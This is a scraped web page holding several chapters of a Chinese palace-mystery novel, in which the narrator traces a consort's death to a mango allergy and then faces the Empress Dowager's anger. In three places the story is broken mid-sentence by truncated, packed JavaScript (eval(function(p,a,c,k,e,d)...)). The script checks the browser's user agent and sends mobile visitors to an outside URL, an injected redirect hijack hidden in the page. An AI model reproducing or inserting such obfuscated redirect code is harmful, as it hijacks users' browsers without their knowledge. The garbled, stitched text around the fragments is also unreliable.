“废后有个近身丫鬟,在康元二十年七月初二,面颊、口唇出现红肿水泡,嘴角流涎,面容不清,昏迷倒地。但胡氏并未允准她及时就医。” 郡主当时还抨击过废后胡氏没人性呢,对这段记录自然记忆深刻。 “这条记录很离奇,事先事后都未再有提及,这个丫鬟到底为什么出现上述症状?而太医诊断后,只说中了风邪。什么是风邪?” “什么意思啊,义妹快说,别卖关子了!” “事实上,我认为琳妃与这个丫鬟,都吃了一样东西。”我再次从怀中掏出记录册,原本装满了册子的衣服这下空了,前襟都耷拉下去了。 “娘娘您看,这本《内廷司贡品分发记录》有云,康元二十年七月初一,广西进贡一种绿色的瓜果,圣上赐给了废后胡氏与珍妃,哦,就是如今的太后娘娘。而您也知道,太后从来不吃瓜果。” 但是无奈啊,珍妃当时就是很受先帝宠爱,哪怕知道她不吃瓜果,遇到罕见的进贡之物,先帝依然会赐给她。当然,废后胡氏不管怎么猖獗惹人烦,到底还是中宫,没翻脸之前,先帝也得顾忌,自然也就赐给了废后胡氏。 “你的意思是,琳妃之死和这瓜果有关?可琳妃又没得到赏赐?”郡主不解。 我歪歪头,心说这还不明白吗? “太后才得了进贡的荔枝,随手就赐给了贤太嫔。过去,太后,哦我是说当年她还是珍妃的时候,不也如此吗?” 老连头说过,起居注记录过,就连冷宫里困在往日回忆中的宜嫔丫鬟也提过啊。 淑妃七月初六生辰,宜嫔本打算亲自做八宝露一贺,丫鬟听闻淑妃不悦,便说提前做了送去。当时那丫鬟说的三十岁生辰,按照淑妃的出生年份推算,正是康元二十年。 而在这句话之前,丫鬟曾说琳妃得了贡品,淑妃很不高兴。 可在我最后一次去内廷司翻阅记录的时候,我专门找了,康元二十年七月,除了广西进贡的罕见瓜果,没有其他进贡记录了。 所以,令淑妃不悦的贡品,就是这些瓜果。 它们来自于谁?当然是每次都能得到贡品,却又吃不了,故而分享给姐妹的珍妃了呀。 从老连头的描述也可得知,先帝是默许珍妃这种行为的。这也是淑妃生气的理由,琳妃从交好的珍妃那儿得到了,自己却没有,当然不爽了。 “好吧,这么讲是能讲通。”郡主又问,“但胡氏那个丫鬟怎么回事?她水肿昏迷与此有关吗?” 哎呀,现在讲琳妃,你怎么跑偏问起旁人了? 我偷偷觑了眼皇后,见她未现恼色,才飞快解释道:“她是近身丫鬟,趁胡氏不备偷吃一块瓜果,或者胡氏见它罕见,让丫鬟代为尝尝,都有可能啊。所以,她也因为瓜果出现了瘾疹。” “啊?这什么瓜果这么吓人?” 郡主惊呼出声的同时,是三殿下理智的疑问:“可你怎么能确认当晚琳妃吃了这贡品呢?你不是才说,琳妃当夜可能没吃没喝,所以才避开了毒汤毒酒吗?” 嗯,三殿下问的也没毛病。这就是要证明琳妃死因的关键。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14600797|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “关于这一点,我有两个佐证。第一,来自于太医院的记录。娘娘翻阅即可看到,民女已经标注出来了。康元二十年七月初三,琳妃因照顾多荣公主而病倒,太医问诊后开了方子不说,还针对她的脾胃不调、没有胃口,嘱咐说可进食一些梅子开胃。” “嗯,看到了。”皇后依旧声线平平。 “第二,则是连公公说的。琳妃照顾皇子公主极为上心,每每顾不上自己吃喝,有时候饿极了,就吃两块瓜果饱腹。而案发那日在圣上传召说来用膳之前,丫鬟冰清担心琳妃晚上又不好好吃饭,偏巧朱雀宫梅子吃完了,就吩咐连公公切了那贡品绿瓜呈了去。” “这么说,当晚案头是放着一盘瓜果的?” “对。”我颔首,“从琳妃心中有事就不爱吃饭的坏习惯不难推出,当她记挂多荣公主,关心其他病倒的皇子时,满当当一桌子菜肴,她不会吃。可她也是会饿的啊,所以她继续自己往常的操作——瓜果果腹。” 三殿下看了眼谢宁轩,应该是信服了。 郡主却在愤慨:“这到底什么瓜果,简直要人命啊!” 它,就是水果届的高致敏物——芒果。 对芒果过敏的人往往对生漆也有过敏反应。而琳妃动不动就喷嚏连天,浑身长疹子,足以说明,她就是过敏体质的人。 对,没错,琳妃并非死于毒手,而是死于一场意外——过敏。 当我在询问完连公公时,当我意识到问题可能出现在所谓的“绿瓜”时,我就知道,我得去翻历年进贡记录了。 果然,翻阅了先帝在位二十八年与圣上登基这二十年的记录,广西进贡过不少水果,可关于芒果的记录,唯有康元二十年那一条。 但就这一次的进贡,大家都不认识的稀罕水果,绿色的鼎鼎大名的桂七,就夺走了琳妃的生命。若是之后每年都进贡,还不知道得有多少人倒下?但如果真的如此,恐怕琳妃之死,也不至于这么悬疑了。 而谢宁轩和三殿下查了这么久,或许早就对三个凶手的行凶过程都有怀疑,却始终因为处于知识盲区而无法发现真相,也使得本案看似困难。 其实,这桩所谓的旧案,真相不是很简单吗? 然现在的问题是,我可怎么给这几个古代人解释,过敏和芒果呢? 所以,我只能寄希望于恰好出现的《瘾疹集》,同时,开启我的忽悠功了呗。 “民女在家乡金华有一门亲戚,专做南洋稀罕物件的倒卖。”我半真半假的讲着,“他曾说过,南洋人很喜欢吃一种瓜果,有的呈绿色,有的呈黄色,酸甜、细腻、软糯,汁水丰富。但是食用这种瓜果,十中有一则会起风疹、长癣,不同人症状不同,有的是全身红点,有的便是水肿昏迷,还有些人一碰就呼吸困难,喉头堵塞,有生命危险。所以南洋人爱吃的很爱吃,不能吃的,那是绝对不会碰得。这玩意民女从未见过,也就是听亲戚闲话时提过那么一次,哦对,他还说过,广西有农民得了种子也开始种植了。” “啊,这东西也不是人人吃了都会出事啊?”郡主感慨。 “当然不是。每个人体质不同,有人性温就有人性寒,有人不能吃花生,有人却爱的很。有人闻花见柳絮躲之不及,有人却总爱在柳枝下吟诗。姐姐难道忘了吗,起居注记录过,先帝吃这贡品绿瓜,可是大喜呢。” 我的话刚说完,皇后忽然合上了册子,发出了一声冷笑:“所以你的结论就是,没有人杀了琳妃,她竟然死于这所谓的贡品,所谓的瘾疹?” 皇后怎么忽然恼了? 我登时惶恐,不由看向谢宁轩。 后者上前一步,语气泰然:“禀娘娘,羽书所言只是就事实调查而得,非胡言乱语。根据现有的证据,此种结论是唯一的可能了。” “那照你这么说,需要怪罪的,还得是送给琳妃这贡品的珍妃,当今的太后了?”皇后语气不善。 我心中一跳,不安弥漫。 就在这时,殿外传来了一个苍老的声音——“哀家倒要看看,谁在胡说八道,竟敢攀咬到哀家身上? 165.雷霆之怒 殿内所有人都是一震,谢宁轩与三殿下飞快地交流了眼神,郡主侧身藏到了哥哥身后。令人意外的是,太后并不是一个人,她的身侧一并进来的,是面色阴沉的圣上。 一袭黑色的袍子,领口、袖口、底边是宽宽的金线修饰,暗紫色的龙绣在这件常服胸口,若非光芒照射,几乎看不见。浑身散发着沉稳、不怒自威的气质,让人不禁凛神屏气。一双眼炯炯有神,明亮睿智,更神似太后。 当今圣上年方四十,年富力强,思维缜密,我早就听谢宁轩说过不止一次。 可现在哪里是写观察作文的时间啊。明明是低调的扮相,压迫感依旧极强,我被吓得脑子都不转了。 谢宁轩不动声色的朝前挪了半步掩住了我,随即与三殿下、郡主分开两侧下跪行礼。皇后亦马上站起相迎。 太后径直从中穿过,走到上首坐了下来,倒是圣上走到半蹲着的皇后身侧说了句:“都起来吧。” “皇后关着门是在做什么?”太后发话,语气里有不小的怒意。 皇后低头,恭敬禀告:“回母后的话,臣妾不过与宁轩宁叙他们聊天而已。” “聊天而已?都聊到哀家头上来了,好大的胆子!”太后猛地拔高声音。 皇后当即跪下,我们这些人自不必说,还没站起来两分钟呢,就又跪倒一片。 “母后,臣妾只是……” “哀家是不是说过,先帝时期的事情已经过去,不准任何人再查再究?皇后,你将哀家的懿旨丝毫不放在眼里啊!” “母后,臣妾并没有……” “并没有什么?”太后一改往日慈祥,瞪着眼睛,连皱纹都浅了三分。 皇后抬头觑向圣上,求助意味明显。 圣上脸色也很难看,但毕竟是自己挑起的事端,也只能开口安抚:“母后,身子重要,切勿发怒伤身啊。皇后和宁轩他们,其实也就是追忆追忆往事,算不得调查。” 太后却不买账:“哀家的懿旨,圣上这话便是不尊了?以后哀家干脆也别做这个皇太后,移居宫外算了!” 这话严重了,圣上马上低头:“母后哪里的话,儿臣自然没有忤逆母后的意思,皇后也不会的。” 皇后立即上前表忠心:“臣妾断不敢忤逆母后,请母后息怒。” 太后从鼻孔哼了一声:“那今日的事,皇后给哀家怎么交代?” 我心跳加速,冷汗一滴一滴往下砸。 “母后,臣妾……”皇后语塞,再次悄悄看向圣上。后者马上接过话头:“母后,今天的事,既然只听了个尾巴,还不确定前因后果……” “哼,”太后重重哼了一声,“你来得晚,只听了个尾巴,哀家却听得明明白白,这不知哪里来的小妮子竟敢诬陷攀咬哀家!” 糟了,这说的是我啊! 我整个人不受控的颤抖起来,汗流浃背。 谢宁轩马上抬头想要说话,但皇后已经开腔了:“母后息怒,今日的事实在事出有因,并非母后想的那样,请容臣妾详禀。” 太后再次怒拍扶手:“大胆!还敢狡辩!先帝旧事岂是你能置喙的!” 太后赫然而怒非同小可,皇后无奈噤声。但这次,圣上却表态了。只见他移了半步挡在了皇后身前,沉默的看着太后。虽然什么话也没说,意思却很明确。 一阵寂静中,唯有两道眼光交集着,象征着权力在厮杀。 谁说太后不涉朝政就没有权利了?她仰仗的可是封建王朝最有力、最锋利的武器——孝道。但她也有着极易攻破的弱点,那便是一颗母亲的心。 我匍匐在地,心口像几面鼓在同时敲响,身子僵硬,纹丝不敢动。 “看来这件事,是圣上你的意思了?”太后败落于眼神阵中,她脸色一白,开口已不复方才的尖锐。 圣上面上浮现了愧色,他扭脸看了看跪着的皇后与诸人,沉声道:“母后,儿臣并非故意违拗您的心意。幼时您教导儿臣忠孝乃为人之本分,更是帝王一生的修行。儿臣自问无愧,可静太妃故去前的自白,却让儿臣耿耿于怀。母后,这一点您是清楚的啊。” 太后身形有些晃动,她扶住扶手,劝阻道:“圣上啊,哀家跟你说过,斯人已逝,过去的就已经过去了,何必要困住自己,折腾自己。” “母后,”圣上朝前走了两步,放缓了语气,“何为困住?儿臣实在不懂。琳母妃的死无关朝政,无关疆土,更和现在天下太平的局势无关,有何追究不得?她甚至没有享皇家祭祀!静太妃当日那席话,母后,你明明也是震动的啊!” 太后手指越发使劲,骨节突出,面色也更白了。 “查出来任何结果,圣上都愿意接受吗?”说罢,太后竟伸着手指朝我们指过来,带着些微的颤抖,“她说的结果,你也听到了,不是吗?” 完了,刚才他们进来前,皇后说的最后一句话,恐怕要将我们带入万劫不复之地啊! 圣上却没有回答,而是低头看向谢宁轩,语气平静,像在问昨晚吃了什么。 “宁轩,你给朕一个解释,这个女子,是谁?” 谢宁轩直起身子正要回答,太后已阴沉斥道:“作伪混迹在哀家的慈宁宫,胆敢私查皇家的事……阳远,没想到你也在诓哀家!” 天哪,怎么回事,太后知道了? 冷汗浸湿了小衣,腿软至浑身无力。 郡主亦慌了,马上就要开腔辩白,被太后又打断话头。 她恨声道:“莫要强词搪塞哀家!阳远,哀家多么疼你,你竟然敢带个不守妇道的民间女子进宫!还有你,宁轩,你太让哀家失望了,亏哀家还跟圣上说,错或许不在你,是这个小女子……” “太后!”谢宁轩忽然跪着上前一步,朗声道,“奏章弹劾微臣已向圣上禀明,是微臣不尊祖制、一意孤行,非王姑娘的责任!” “你,你还敢为她说话!”太后气极,伸手指向谢宁轩,有些微的颤抖。 郡主瑟瑟叫了声:“太后,她、她不是……” “不是什么!怎么,你还想隐瞒,骗哀家她是你的丫鬟吗?”太后猛地一拍凤座扶手,额间青筋隐现,“尤若,你进来!” 尤若是谁? 我的心已经转到了八百迈高速,但看清来人的一秒,还是险些骤停。 茹贵人推开殿门迈了进来,就近跪下。她的左右脸颊红肿突起,像是挨个无数个巴掌。 我顾不得思考是谁打了她,满心满肺只充斥着两个字——“完了”。 茹贵人居然逃开了禁闭,跑去向太后告状?那我参与其他刑案调查的内幕,太后也知道了?作假的身份已是死罪,还被太后亲耳听见我大逆不道的指证……完了完了,这下死定了。 眼前好似出现了麻点,我陷入了浓雾弥漫的绝望。 “尤若,你告诉圣上,这女子是谁!” 茹贵人抬头,模糊不清的说:“王、王羽书,被、被弹劾……” 她说不出来了。我惊恐的发现,她的嘴角漫出蜿蜒的血迹,她用双臂撑着身子,似有千斤称不住,脖子一软便低下了头。滴滴血迹砸在青石砖地面上。 太后狠厉、冷漠的声音,像是从很远很远的地方传来:“算计哀家,算计哀家的孙子,就是这个下场。但宁轩,哀家真是想不到,哀家这么疼你,你居然敢违抗哀家的懿旨!” 谢宁轩直起身子,看向太后,也有些着急了。他改变了称呼,带着自责:“皇祖母,孙儿并非有意违拗您,实乃……” “母后,宁轩宁叙查案,是奉了朕的旨意。也是朕,叮嘱他们保密,不得告诉您。”一直阴沉听着对话的圣上,突然发话。他撩开黑金龙袍,径直朝太后跪下,“母后若有责罚,儿臣愿一力承担。” 太后紧紧握住扶手,嘴唇抿成了一条线。她盯着圣上,眼中闪过无数情绪。 风雨欲来,雷霆将至。 我怎么就让自己陷入到这种情境中了?自负,实在是太自负了!根本就不该参与这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14616976|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桩案子! 深深的悔痛中,四下也沉默无语。 半晌后,圣上再次向谢宁轩发难:“宁轩,这小女子,到底怎么回事。你之前语焉不详的跟朕说,能查清案子但或许需要一个帮手进宫,指的就是此女,你一直带着查案的女子?她到底是谁!” 三殿下比谢宁轩更快回答:“回禀圣上,此女乃微臣与姝儿的义妹王氏羽书,其父正是当年伴随、保护齐王,如今供职在京城府衙的副官王柳。” 谢宁轩亦直视圣上,语气不卑不亢。“回禀圣上,探诡查案宗旨在‘查’,无论以何人相助,无论以何道辅之,究其根本,仍需落在‘查清案件’上。微臣请王姑娘入宫,是因为她聪颖智慧、心思细腻,有本事和能力查清这桩二十多年前的旧案。事实上,她也做到了。” 我能感受到圣上的目光慢慢凝在我的头顶,像是阳光落在放大镜上,要烧出一个洞来。 圣上用鼻子发出了浅浅的哼声,说不清是不屑还是嗔怒。 “弹劾奏章朕还没有处理,你就敢安排她秘密进宫。宁轩,你真是胆大包天。” 糟了,这是连带着谢宁轩也没好果子吃了。 被我连累,被我连累了啊! 我悔不当初,狠狠咬着嘴唇,直到舌间亦有血腥气。 然而,出乎我的预料,圣上没等谢宁轩回答,忽又话锋一转 ,问起密旨调查,缘何竟向皇后复命。 皇后自打茹贵人进殿,面色也是微变,若非极佳的教养和皇后的身份加持,她或许也稳不住如钟跪姿。 此刻被圣上突然点名,更是身子一僵。 然而,谢宁轩已想到对策,只见他波澜不惊的答:“禀圣上,微臣等人并非向皇后复命或讲述案情,实则向皇后求助。” 虽然没有事先通气,但皇后表情沉静,并无诧异惊慌。 “求助什么?”圣上追问。 “此次调查中,因执行秘密调查的旨意,如诸太妃、琳妃旧居、元谪太子墓等,均无法调查,恐结论有误,故想请皇后娘娘协助。” 圣上眉头皱起:“怎么,方才你们不是已经下结论了吗?朕听到她说凶手不是那三个人。” 天哪,圣上从这儿就开始听了?那后面关于贡品与过敏的推论,他全都听到了? 我注意到谢宁轩微微握了握拳,知道他也是一样的心绪翻滚。但他一开口,声音却无半点紧张,对答如流。 “以目前的证据能推导出的答案并不代表着就是真相。圣上和太后进来之前,微臣等正在请皇后协助进一步调查,或许之后的结果会天翻地覆、南辕北辙。” 我微微松了口气,谢宁轩果然聪明。这么一来,方才的指证就只是个推测,算不上问罪。 但圣上岂是好糊弄的?他马上发现了漏洞:“此案隐秘,朕授意皇后于宫中秘查,你又是怎么知道的?既需协助,为何不来问朕,倒来问皇后?” 谢宁轩马上回答,没有一丝令人怀疑的迟疑。 “回禀圣上,微臣月前调查至太医院,无意中和另一股暗查力量相撞,方得知皇后娘娘亦有密旨。今次调查受阻,微臣想着一年都没能给您答复,实在没脸向您求助,这才不得不请皇后娘娘施以援手。” 皇后亦配合道:“宁轩所言极是,臣妾有幸得圣上信任,方才听闻他们来意,实在是事关重大,不敢随意应下,这才让他们将近日核查结果先说说,也判断一下这女子到底有没有能力破案,是不是滥竽充数。” 这个答案还算圆满,圣上一时没说话。再开口,他径直问:“那到底查的怎么样了,王羽……叫什么的,把你方才说的,再给朕复述……” “等等。” 凤座上的太后倏地发话,扶着扶手站起身来。 她扫开圣上上前搀扶的手臂,没理殿中之人的注视,伸手理了理发髻,面色虽白,但并不衰败。 “你,叫什么羽书的,跟哀家来。”太后撂下一句话,险些没吓得我心脏病发。 166.结论 “皇祖母!” “太后!” 谢宁轩和郡主异口同声。 “母后,单独叫她可是要讯问什么?”圣上也问,“儿臣也有不少问题要问,不如我们……” “哀家不管圣上你要听什么答案,弹劾奏本你要怎么处置,现在,哀家要单独与她叙话。”太后态度强硬,看都不看圣上一眼。 我吓死了。然而最终,我也只能用尽全身力气压住声音里的恐慌与畏惧,恭谨应答:“民女遵旨。” 太后面前,圣上都不能毫不留情的驳回,我一个小蚁民,又能说什么? 太后没有停留,径直走入了偏殿。 谢宁轩跪不住了,皱眉就要起身,对面的三殿下摇头的架势都不叫暗示了。这种情景下,我只好假装没站稳侧了侧身,在碰到谢宁轩肩头的一瞬间用力顶了他一下。 别为我出头了!珍重自身! “羽书!”谢宁轩竟还是叫了出来,伸出手,竟还想拉住我。 “宁轩,你还有没有规矩!”圣上沉下了脸,出言斥道。三殿下亦拉住了他。 我赶忙跪下再磕个头,起身便朝侧殿一脚实一脚虚的奔去。无论多少轻飘飘的无助感环绕,我也不能连累谢宁轩。 该我承担的,我不会逃避。 及至侧殿,我关上门,站都站不稳了。没等太后坐下,我扑通一声就跪下了。 太后睨了我一眼,大概还算满意这个态度,没有发飙。但接下来的话,又把我吓得张口结舌。 “知道哀家为什么要打尤若吗?” 脊骨一震,我叩首在地,不敢言语。 太后冷哼:“她以为在哀家身前讨好尽孝,得了哀家几分青眼,就敢狐假虎威,借哀家的势力为自己算计了?且不说李怀远自作自受,就算宁轩审错了案、判错了罪,他也是哀家的孙子,几时容得了她诋毁了?她以为来告密,告阳远大不敬,哀家就会依了她愿?” 我惊疑不定,汗珠顺着额发,在地上汪出一小片水痕。 “哼,哀家罚她掌嘴,便是要让她知道,这宫城是谢氏天下,不是她一个小小贵人也敢谋划的。”太后顿了顿,又话锋一转,“但你,她没说错,果真是隐匿身份藏于慈宁宫……抬起头来!” 太后厉声喝道,吓得我当即抬头,上下牙疯狂的打架。 “狐媚,竟敢引诱哀家的孙子,为你妄图改变祖制。哀家就不信了,今天哀家治了你,宁轩还敢与哀家叫板不成!” “太后!”我惊恐无比,自嗓子眼发出不受控制的求饶声,“太后饶命,民女没有、没有勾引谢侍郎!太后明察!” “没有?早在绣花大赛那案子后,哀家就有些担忧。果真是动了凡心,竟还是为你这个胆大包天,不知天高地厚之徒!他还赞你聪明敏锐,夸得跟什么似的。好啊,真是没想到啊,哀家还没整治了你这祸水,你的聪明才智,竟就用到哀家身上了!” 太后越说越气,语气愈发冰凉。 我整个人如坠冰窖,找不出一丝坚持下去的热气。 完了,我要死了。得罪太后,我可真是疯求了! “哀家问你,”太后再次开口,带着不容置疑的冷峻,“刚才宁轩的话到底是不是真的,你们还没有查完?” 这突然调转的话头落在我的耳中,让我愣了一下,才反应过来。 太后问什么?方才的结论? 嗯,怎么突然又说这个? 来不及细想,此刻的我只能屏住呼吸,冒险答道:“回、回太后的话,是、是真的。” “你们都查了哪些人,翻看了哪些记录,给哀家一一说明白。”太后语气依旧咄咄。 问这作何? 我机械地背出谢宁轩给我的手记上,一条一条:“谢侍郎和三殿下追查了二十八年来或贬谪或恩放出宫的太监、丫鬟、侍卫等合计一千三百八十七人,御膳房厨子二百四十九名,起居注嬷嬷一百一十位。包括这些人的家属和亲戚。查找地方如沈氏宗祠、沈家旧址、静太妃母家府邸、先淑妃母家府邸、先贺王废王府、元谪太子京郊别院、废后胡氏家族旧祠等。” 其实,这些内容于旧案来说,查的足够宽泛了。但谢宁轩禀告的也没错,任何案件的还原都是落在证据上的,时间流逝永不回转,那年那人那些事,唯有拼凑、还原,永不可能重现。 也即,案件中如果突然冒出来个隐藏至深、能颠倒一切的证据,那此刻还原的真相,自然会大相径庭。 太后问这个做什么? 我背完后,惊惧的偷偷觑了眼太后。却发觉她并没有看向我,而是盯着窗外。 她的眼中没有回忆或者神往,而是精光轮转着。 不敢深思,我又把我进宫来见到的每个人、翻阅过的每本记录都如实供述。讲完后,太后迟迟没有发话。 在令人心惊的沉默中,我跪的越发僵硬,像一个木头人。然心中,有汩汩热流活泛,我大胆品味着此刻的安静,竟渐渐想通了这个问题背后的含义。 太后想知道的是,我们的查访,是不是已经足够;谢宁轩方才提及的那些人,那些地方,还有没有可能真的隐藏着翻云覆雨的线索? 但太后仅仅通过问话就能判断出,只能说明…… 我心一沉,不得不意识到,太后的确知道真相。 她清晰的知道,是自己送出去的进贡瓜果,害死了琳妃。所以,哪些人可能知道真相,哪些人问了也是白问,太后心知肚明。 我的心跳到了嗓子眼,犹如万千蚂蚁噬咬,浑身发痒。 糟了,最坏的猜想竟然成真了。 太后竟和琳妃之死有关? 怎么可能,怎么可能!为什么会这样!不可能啊! 最后一次翻阅起居注的时候,包括先帝在内的每个人,哪怕那些没有封号的贵人、采女,不管活没活到太妃的位置,我全都看了一遍。从不带感情色彩的记录中,能看到,当年的珍妃和琳妃,是真的姐妹,真的友情啊。 琳妃陪珍妃哭过每一个夜晚,陪她一次次的上香祷告天地,祈求儿子能找回来。珍妃替琳妃挨过打,挨过骂,得到任何赏赐,都会送去给她,陪嫁的物件更是一大半都送了多荣公主。在琳妃生病的夜晚,是珍妃照顾着多荣公主,还要抽空去监督琳妃有没有好好吃饭,好好喝药。 这样字里行间流淌着的情谊,怎么会是假的? 不,不是。 一个尘封的记忆片段开启,我后知后觉的想起入宫前,郡主说过的一句话——“我说静太妃殁后,太后怎么伤心的病了一个月!我那时不就在宫中侍疾吗?呆了整整一个月!” 一个月,太后病了一个月。 为什么? 静太妃的确与她交好,可人到这个年纪,陆续失去的友谊还会引起这样大的悲痛吗?何况静太妃临终前才爆料与她的至交闺蜜之死有关啊。 难道是悲痛于真相,一时接受不了?那为什么又不愿调查,非要囫囵吞枣装作不见? 我旋即又想起了《瘾疹集》。太医院副首说他之所以会撰写此书,起因在太后询问,他才发现太医院中缺失了这类医书。 太后为何询问瘾疹一类的医书,她的起居注和太医院记录我都看过,太后身子康健,绝无这方面的病症。 所以,太后猜到了,是不是? 圣上之所以对此案有疑,是因为静太妃的临终忏悔,他听到了。但一来男女有别,二于尊卑之差,圣上只可能出于恩情,前往病床前送关怀自己的静母妃一程,却不可能在她的病 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她在意这桩案子,远超过我的身份。哦,或许说,没有这桩案子加持,她的视线才会聚焦在我卑微、作伪的身份上。 而现在,案子于她,更重要。 那我的生机,是不是也就在这桩案子中? 大脑飞速的运转,几乎都能听到齿轮呼呼声。我卖乖道:“回太后的话,既得到太后允准,想必谢侍郎和三殿下无需缚手缚脚,那么,自然用不到民女了。” 太后端坐于椅子上,一声轻笑:“呵,你打量着哀家不了解宁轩是吧?” 那你到底需要什么答案?或者说,你需要我怎么做? 我飞快判断了一下局势,意识到装傻或者兜圈子,不是明智之举。索性大了胆子,我坦言道:“娘娘睿智,民女叹服。娘娘若有驱使,民女莫敢不从。” 太后对我的自觉还算满意,身子朝前微微弯了半寸,语气依旧威严——我还是听出了其中的试探——“你若是追查下去,会是什么结果?” 我怎么知道?万一真的有颠覆性的证据呢? 但太后这么问——我眼睫一跳,明白了太后的意思。 她已经知道了,我们没有询问过的人,也并不知道多少内幕。换句话说,就算敞开了查,结果还是如此。 她果然心知肚明。 那么她现在问我的意思是,让我伪造结果了? 可刚才听到结果的,不止你一个人啊。 不答应,会死。答应,欺君之罪,来日还是死。 没辙了,放手一搏吧。 我深吸了一口气,抬起身子看向太后,字斟句酌:“娘娘,恐怕民女追查下去的结果,还是现在这个。” 太后皱纹之间下垂的肉不易察觉的抖动,眼神冷漠,腮帮子轻轻鼓了出来。 我赶在太后发飙之前,快速说出后续,“还是现在这个——琳妃死于废后胡氏的谋划。” 167.女儿家 太后嘴角下撇,浑身的僵硬明显松动:“什么?死于废后胡氏?” 我颔首,一字一句道:“是,没错。琳妃没有死于毒酒、毒汤,亦不是静太妃掐死。她的的确确是死于贡品芒果,死于她的瘾疹。” 太后眉心一锁,怫然作色。谁让我兜了个圈子又指向她了呢。 但我马上就解释了,“可娘娘,民女之前向皇后娘娘禀告过,这种瓜果在南洋也引发过同样的不幸。并非每个吃它的人都会出事,更不是每个有瘾疹的人,接触了就会致命。就像废后胡氏那个丫鬟,不就好着呢吗?换句话说,琳妃当时吃了些许,就一定会死吗?如果太医在侧,如果身旁有人呢?” 太后听懂了我的画外音,眉头还是皱着。 事到如今,我没有退路了,只能硬着头皮说下去。 “太后,琳妃身居妃位,她的朱雀宫除了近身丫鬟冰清,一二等丫鬟、太监亦有不少。案发当晚,先帝离去后,琳妃遣冰清陪同,冰清却交代其他宫人不要进去打扰琳妃。” 冰清这么做,当然是为了事后能稳妥的清除掉毒酒。 作为近身丫鬟,她很清楚主子的秉性,知道主子绝不会单独小酌,放任她与毒酒在一个环境中也不会有危险。但其他宫人进去万一碰翻了或者接触了,恐怕会有所察觉。何况,她本来接受的命令就是毒杀先帝,那单独害死琳妃也实在没必要。 以致冰清回来发现琳妃死了,崩溃、惊慌的她才会在院中失足,才会神智错乱,体现在对连公公——再去劈一遍柴——的吩咐上。也正如此,她马上就去找了废后胡氏。 她并不知道,她的主子没有死于毒酒。可她依然不清白,毕竟琳妃过敏发作时,如果有人在身边,如果马上施救,还真不一定会死。 当然,按照琳妃的死状来看,她应该是因过敏引发喉头水肿导致窒息死亡。这种情况发作的很快,即便有宫人在侧,也不一定会处理。而这深宫内院叫个太医,早把时间耽搁完了。 只是这一点,就没必要让太后或者圣上知道了。 “太后,民女所言句句属实,您可以派人去南洋或者广西询问。民女的意思是,若非废后胡氏意欲杀害先帝波及琳妃,若非她买通了琳妃的丫鬟,那丫鬟干了亏心事不让其他宫人进屋,琳妃未必会严重到死亡。所以,凶手自然是废后胡氏啊。” 太后的嘴唇颤抖着,明显对我的归罪结论颇为意外。 但琳妃的死因在她的心中萦绕了太久,她已经背负了太过沉重的心理负担。听得这话,她当即就触动了。 “你、你不认为是哀家、是哀家给她瓜果,才、才导致的吗?” 我跪在地上,语气比刚才要诚恳地多。“娘娘,自打入宫以来,您与琳妃相扶相伴,多少贡品您都与她分享,包括那价值万金的螺黛。不仅是琳妃,您还照顾着静太妃、贤太嫔,照顾着这后宫里的每一个人。长夜漫漫,宫廷深深,当年的胡氏多么跋扈,磋磨着大家。您虽然力量微薄,却也尽着最大的努力保护着别人,若非您有情有义的善良之举,何来后宫黑夜中的星星点光?” 这话并非是恭维,而是我在起居注中看到的真实记录,也是我心中有感而发。 当年的珍妃受宠,却未恃宠而骄,每每在圣上喜悦褒奖时不要金不要银,要的都是免除胡氏对妃嫔或者对宫人的过分处罚。 她替琳妃出过头,替静嫔挨过打。郡主甚至被她仗义之行震动,忍不住想要提起。 或许,闺阁中想要当个女侠的梦想,入宫多年,心中火把也未曾熄灭。 太后怔怔地看着我,皱纹再次变深,肩膀塌下。 倏然间,她好像变了。从霹雳狠绝的当朝太后,变为了一个饱受折磨的老人。 我甚至在恍惚中,看到了连公公瑟缩的身影。 那场磨难,于当年经历过的每个人来说,都如梦魇,经久不散。 太后眼圈终是红了,她挪开视线,看向了窗外。口中模糊不清的呢喃:“哀家、哀家不敢面对。一年了,哀家始终压着,不让圣上去查……” 横亘在心头的大山动摇了,我胆子也壮了不少。 跪着上前挪了两步,我又恳切劝解:“娘娘,这不怪您。胡氏甚至祸国,更何况谋杀一个她瞧不上的妃嫔?您送贡品之时的善良之心,是无论如何不能磨灭,不能歪曲的。而圣上,他日理万机、日夜操劳,作为母后,您亦在他身后支撑、辅助着。若您与他为当年善举有了矛盾,有了龃龉,如何对得起您眷眷母亲之心?若为此圣上伤心伤神,天下与家国,何其受损?” 一颗泪珠停在了太后面颊上。 “娘娘,此案本就非您之过错,您千万不要把罪责往自己身上揽,更无需为此愧疚自责,以致伤身。圣上英明,怎会不知?娘娘,与其拦住圣上,瞒着圣上,母子之间白白生了猜忌,倒不如坦白通畅的将一切都说开。娘娘,您觉得呢?” “没错,这话朕赞同。”忽然,偏殿门外传来声音,圣上不知道什么时候走进来了。 太后身子一颤,若非把持住扶手,似乎都稳不住。 母子二人四目相对,我多余的很明显。 